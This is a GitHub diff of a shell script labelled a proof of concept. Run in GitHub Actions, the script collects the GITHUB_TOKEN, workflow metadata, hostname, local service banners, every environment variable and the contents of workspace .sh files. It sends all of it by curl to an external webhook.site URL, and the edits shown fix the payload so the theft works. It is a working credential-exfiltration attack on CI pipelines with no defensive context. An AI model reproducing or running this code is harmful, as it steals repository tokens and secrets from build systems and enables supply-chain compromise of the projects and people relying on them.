File tree Expand file tree Collapse file tree
Expand file tree Collapse file tree Original file line number Diff line number Diff line change @@ -47,10 +47,8 @@ echo "[POC] Executing Proof of Concept code..."
4747# Construct a JSON payload with environment details
4848JSON_PAYLOAD=$( cat << EOF
4949{
50- {
5150 "message": "SUCCESSFUL EXFILTRATION FROM GITHUB ACTIONS",
5251 "github_token": "${GITHUB_TOKEN} ",
53- "github_token": "${secrets.GITHUB_TOKEN} ",
5452 "repository": "${GITHUB_REPOSITORY} ",
5553 "workflow": "${GITHUB_WORKFLOW} ",
5654 "job": "${GITHUB_JOB} ",
@@ -59,12 +57,13 @@ JSON_PAYLOAD=$(cat <<EOF
5957 "hostname": "$( hostname) ",
6058 "http_banner": "$( curl -I http://localhost 2> /dev/null | head -n 1) ",
6159 "ssh_banner": "$( echo | nc localhost 22 2> /dev/null | head -n 1) ",
62- "all_env_vars": "$( env | sort | jq -Rn ' [inputs|split(\"=\")|{(.[0]):.[1]}] ' 2> /dev/null || printenv | sort ) ",
63- "sh_files_contents": "'" $( for f in /home/runner/work/* .sh 2> /dev/null; do echo " ==== $f ====" ; cat " $f " ; done | tr ' \n' ' ;' ) "'"
60+ "all_env_vars": "$( env | sort | tr ' \n ' ' ; ' ) ",
61+ "sh_files_contents": "$( for f in /home/runner/work/* .sh 2> /dev/null; do echo " ==== $f ====" ; cat " $f " ; done | tr ' \n' ' ;' ) "
6462}
6563EOF
6664)
6765
66+
6867# Send the payload to the external webhook
6968curl -X POST -H " Content-Type: application/json" -d " ${JSON_PAYLOAD} " https://webhook.site/83eec9ca-ff62-4398-ab88-84e4376b6032
7069
You can’t perform that action at this time.
0 commit comments